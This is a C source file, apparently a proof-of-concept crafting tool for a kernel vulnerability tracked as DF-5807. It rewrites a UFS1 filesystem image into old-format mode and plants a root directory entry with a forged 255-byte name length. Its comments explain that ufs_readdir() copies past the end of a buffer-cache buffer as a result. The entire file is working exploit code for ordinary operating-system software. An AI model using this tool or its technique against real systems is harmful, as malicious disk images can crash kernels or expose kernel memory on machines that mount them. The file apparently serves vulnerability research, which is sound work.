DF-5807 / craft.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-5807 crafting tool: turn a fresh UFS1 image into an "old format" * (OFSFMT) image with a crafted root directory block whose last dirent * claims a 16-bit d_namlen of 0x00FF in an 8-byte record at the very end * of the block. ufs_readdir()'s OFSFMT branch passes that (unvalidated) * length to vop_write_dirent(), which bcopy()s 255 bytes starting exactly * at the end of the buffer-cache buffer. * * build: cc -O2 -I/usr/src/sys -I/usr/src/sys/vfs/ufs -o craft craft.c * usage: craft <image> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdint.h> #include <sys/types.h> #include <sys/param.h> #include "ufs_types.h" #include "fs.h" #include "dinode.h" #define DEV_BSIZE_ 512 #define PROBE_SB_OFF 8192 /* UFS1 superblock */ static void wr(int fd, off_t off, const void *buf, size_t n) { if (pwrite(fd, buf, n, off) != (ssize_t)n) { perror("pwrite"); exit(1); } } int main(int argc, char **argv) { int fd; char *sb; struct fs *fs; struct ufs1_dinode di; uint64_t ino_off, blk_off; uint32_t ino = 2; uint8_t *blk; uint16_t rec; int bsize; char sbbuf[PROBE_SB_OFF + 4096]; if (argc < 2) { fprintf(stderr, "usage: %s <image>\n", argv[0]); return 1; } fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } if (pread(fd, sbbuf + PROBE_SB_OFF, 2048, PROBE_SB_OFF) != 2048) { perror("pread sb"); return 1; } sb = sbbuf + PROBE_SB_OFF; fs = (struct fs *)sb; printf("magic=%08x (UFS1=%08x)\n", fs->fs_magic, FS_MAGIC); if (fs->fs_magic != FS_MAGIC) { fprintf(stderr, "not UFS1\n"); return 1; } printf("bsize=%d fsize=%d fpg=%u ipg=%d cgsize=%d " "cgoffset=%d cpg=%d sblkno=%d\n", fs->fs_bsize, fs->fs_fsize, fs->fs_fpg, fs->fs_ipg, fs->fs_cgsize, fs->fs_cgoffset, fs->fs_cpg, fs->fs_sblkno); printf("maxsymlinklen=%d\n", fs->fs_maxsymlinklen); /* 1) force "old format" semantics */ fs->fs_maxsymlinklen = 0; wr(fd, PROBE_SB_OFF, sb, 2048); /* 2) root inode (ino 2) */ ino_off = (uint64_t)fsbtodb(fs, ino_to_fsba(fs, ino)) * DEV_BSIZE_ + ino_to_fsbo(fs, ino) * sizeof(struct ufs1_dinode); printf("ino2 off=%llu\n", (unsigned long long)ino_off); if (pread(fd, &di, sizeof(di), ino_off) != sizeof(di)) { perror("pread ino"); return 1; } printf("root: size=%llu nlink=%d db[0]=%u\n", (unsigned long long)di.di_size, di.di_nlink, (unsigned)di.di_db[0]); bsize = fs->fs_bsize; if (di.di_size < (uint64_t)bsize) { di.di_size = bsize; wr(fd, ino_off, &di, sizeof(di)); printf("root: size bumped to %d\n", bsize); } blk_off = (uint64_t)fsbtodb(fs, di.di_db[0]) * DEV_BSIZE_; printf("root dir block off=%llu\n", (unsigned long long)blk_off); /* 3) craft the directory block */ blk = malloc(bsize); memset(blk, 0xAA, bsize); /* record 0: covers everything except the last 8 bytes */ memcpy(blk + 0, &(uint32_t){2}, 4); rec = bsize - 8; memcpy(blk + 4, &rec, 2); /* bytes 6..7 = old-format 16-bit d_namlen = 0x0000 */ blk[6] = 0x00; blk[7] = 0x00; /* record 1 (last): reclen=8, old-format namlen=0x00FF * LE -> byte6=0xFF (dp->d_type), byte7=0x00 (dp->d_namlen) * validation checks dp->d_namlen (=0): passes trivially * OFSFMT call passes dp->d_type (=0xFF=255) as the length */ memcpy(blk + bsize - 8, &(uint32_t){2}, 4); rec = 8; memcpy(blk + bsize - 4, &rec, 2); blk[bsize - 2] = 0xFF; /* byte 6 of record = LSB of namlen */ blk[bsize - 1] = 0x00; /* byte 7 of record = MSB of namlen */ wr(fd, blk_off, blk, bsize); printf("crafted: rec0@0 reclen=%d namlen=0, rec1@%d reclen=8 " "namlen16=0x00FF\n", bsize - 8, bsize - 8); { uint8_t v[16]; if (pread(fd, v, 16, blk_off + bsize - 16) != 16) { perror("verify pread"); return 1; } printf("verify tail: "); for (int k = 0; k < 16; k++) printf("%02x ", v[k]); printf("\n"); } close(fd); return 0; } |